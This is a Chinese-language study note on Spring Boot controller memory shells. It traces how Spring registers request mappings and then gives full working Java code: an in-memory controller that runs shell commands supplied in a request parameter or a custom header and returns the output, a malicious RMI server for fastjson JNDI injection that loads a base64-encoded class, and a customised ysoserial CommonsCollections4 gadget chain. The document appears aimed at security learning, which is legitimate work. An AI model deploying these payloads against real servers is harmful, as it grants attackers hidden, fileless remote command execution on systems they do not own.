前言:學習spring系列controller內存馬的筆記
參考文章:https://www.cnblogs.com/bitterz/p/14820898.html#11-fastjson反序列化和jndi
參考文章:https://www.anquanke.com/post/id/198886#h3-8
什么時候用到內存馬
1、反序列化漏洞(有依賴可利用)
2、目標不出網
3、想要回顯信息
controller內存馬注入復現
可以看到成功打印了生成的控制器
訪問:http://localhost:8080/asdasd?cmd=calc ,可以看到命令是執行成功了,彈出對應的calc
實現controller 內存馬
url和Controller類的映射關系
跟tomcat的filter等對象類似,如果想要注入一個內存馬,那么就需要找到注冊controller控制器的關鍵過程,從而實現動態添加controller內存馬。
我查閱的文檔資料是:https://blog.csdn.net/Message_lx/article/details/107861905
這里直接在AbstractHandlerMethodMapping類中打上斷點來進行調試
org/springframework/web/servlet/handler/AbstractHandlerMethodMapping.java
通過官方的注釋可以看出來,這個類就是實現 一個request請求和需要調用哪個方法 之間映射關系的實現類
initHandlerMethods方法上打上斷點,如下圖所示,然后進行調試
對每個要注冊的Bean來調用processCandidateBean方法
如何isHandler符合的話就會進入到該判斷語句中調用detectHandlerMethods,這里來看下相關的isHandler方法,可以看到需要滿足被標記的注解為Controller.class 或者是 RequestMapping.class 才可以
如果當前的Bean被注解為Controller.class 或者是 RequestMapping.class,那么就進入到detectHandlerMethods方法中
其中每次都會對當前的控制器中的方法將其作為參數,調用getMappingForMethod方法
這里需要注意了,MethodIntrospector.selectMethods中第二個參數是一個回調方法,該方法其中會調用這個getMappingForMethod是重點方法,它做了如下的步驟
1、通過createRequestMappingInfo方法以當前控制器下的method作為變量,創建了一個RequestMappingInfo的對象
2、通過createRequestMappingInfo方法以當前控制器下的handlerType作為參數,創建了一個RequestMappingInfo的對象
接着下面還有一段循環操作,如下圖所示
其中的registerHandlerMethod方法,就會將一個控制器中所有的方法都注冊到對應的mapping中
具體操作如下圖,這個自己可以進行調試下
最后將其每個方法都注冊到registry中
可以看到當前控制器有兩個方法,這里會將兩個方法都注冊到registry中去
分析
這里重點就看RequestMappingInfo這個對象,上面的圖中其實最后的步驟就是一個RequestMappingInfo對象,然后將其注冊到當前spring的registry中去
那么RequestMappingInfo我們可以進行自定義,拿個對象來觀察下其中的屬性,可以看到重點的屬性有
patternsCondition:對應的請求地址
handlerMethod:對應的請求方法
methodsCondition :對應的請求方式
{RequestMappingInfo@7102} "{POST [/upload]}" -> {AbstractHandlerMethodMapping$MappingRegistration@7183}
key = {RequestMappingInfo@7102} "{POST [/upload]}"
name = null
pathPatternsCondition = null
patternsCondition = {PatternsRequestCondition@7188} "[/upload]"
methodsCondition = {RequestMethodsRequestCondition@7189} "[POST]"
paramsCondition = {ParamsRequestCondition@7190} "[]"
headersCondition = {HeadersRequestCondition@7191} "[]"
consumesCondition = {ConsumesRequestCondition@7192} "[]"
producesCondition = {ProducesRequestCondition@7193} "[]"
customConditionHolder = {RequestConditionHolder@7194} "[]"
hashCode = 1684276773
options = {RequestMappingInfo$BuilderConfiguration@6865}
value = {AbstractHandlerMethodMapping$MappingRegistration@7183}
mapping = {RequestMappingInfo@7102} "{POST [/upload]}"
handlerMethod = {HandlerMethod@7129} "com.zpchcbd.controller.FormController#upload(String, String, MultipartFile, MultipartFile[])"
directPaths = {HashSet@7137} size = 1
mappingName = "FC#upload"
corsConfig = false
然后通過剛才的分析可以看到,主要進行注冊的類是AbstractHandlerMethodMapping對象,其中就放置了我們要注冊的對象RequestMappingInfo
所以這里需要找到這個對象,方法如下,可以直接在IOC容器中進行獲取
// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
最后理清下思路:
1、創建一個RequestMappingInfo對象,將對應實現的方法,請求地址等需要的信息都賦值到該對象中
2、然后通過IOC容器獲取RequestMappingHandlerMapping(AbstractHandlerMethodMapping的實現類),調用RequestMappingHandlerMapping的registerMapping方法來進行對應的控制器和方法的綁定
這里有個問題我沒研究過,就是在注冊完RequestMappingHandlerMapping之后,為什么這個控制器就會自動生效?這個地方我不太懂
想法:可能是registerMapping調用完之后,相關的spring容器會將新的controller放置到IOC容器中,我自己是這么猜想的,但是沒有代碼驗證。
最終實現的代碼如下,測試版本springboot 2.5.6
控制器類
public class InjectToController {
public InjectToController(){
}
public void test() throws Exception {
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 獲取cmd參數並執行命令
System.out.println(request.getParameter("cmd"));
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
注入方法
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public String inject(){
try {
// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通過反射獲得自定義 controller 中的 Method 對象
Method method = InjectToController.class.getMethod("test");
// 4. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
return "inject ok...";
}catch (Exception ex)
{
return "inject fail...";
}
}
模擬反序列化實現
這里用fastjson反序列化 jndi注入來進行模擬
自己模擬接口存在反序列化漏洞,如下圖所示
@Controller
public class SerializeController {
/**
* test fastjson jndi inject for memory shell.
* */
@ResponseBody
@RequestMapping(value = "fastjson_serialize", method = RequestMethod.POST)
public String test01(@RequestBody String payload){
Object object2 = JSON.parse(payload);
return object2.toString();
}
}
內存馬:
其中的SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
,我需要講下為什么要這樣寫?
原因就是如果調用的還是默認的無參構造函數會導致遞歸調用,所以這里防止遞歸調用,就調用一個有參數的即可。
package com.zpchcbd.jndi.objectfactory.rmibypass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;
public class SpringBootMemoryShellOfController extends AbstractTranslet {
public SpringBootMemoryShellOfController() throws Exception{
// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通過反射獲得自定義 controller 中的 Method 對象
Method method = SpringBootMemoryShellOfController.class.getMethod("test");
// 4. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public SpringBootMemoryShellOfController(String test){
}
public void test() throws Exception{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 獲取cmd參數並執行命令
String cmd = request.getHeader("zpchcbd");
if(cmd != null && !cmd.isEmpty()){
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(res);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
自己再起一個RMI服務
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
String replacement = payload.replace("replacement", injectMemshell(SpringEchoTemplate.class));
System.out.println(replacement);
ref.add(new StringRefAddr("x", replacement));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服務啟動成功,服務地址:" + "rmi://192.168.0.108/AAAAAA");
}
public static String injectMemshell(Class clazz){
String classCode = null;
try{
classCode = Utils.getClassCode(clazz);
}catch(Exception e){
e.printStackTrace();
}
String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
return code;
}
}
然后訪問 http://localhost:8081/asdasd ,header頭為zpchcbd 命令為calc,如下圖所示
controller的缺點
在對於存在相關的攔截器的時候,controller內存馬就無法進行利用,原因就在於攔截器的調用順序在controller之前,所以controller不能作為通用的內存馬來進行使用。
定制化yso版本
public class SpringBootMemoryController extends AbstractTranslet {
public SpringBootMemoryController() throws Exception{
// 1. 利用spring內部方法獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的實例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通過反射獲得自定義 controller 中的 Method 對象
Method method = SpringBootMemoryController.class.getMethod("test");
// 4. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public SpringBootMemoryController(String test){
}
public void test() throws Exception{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 獲取cmd參數並執行命令
String command = request.getHeader("zpchcbd");
if(command != null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
這里用的是cc4生成的利用poc
public class CommonsCollections4_SpringbootMemoryController implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String ... command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(ysoserial.payloads.SpringBootMemoryController.class);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4_SpringbootMemoryController.class, args);
}
}
發送payload,同樣成功進行注入內存馬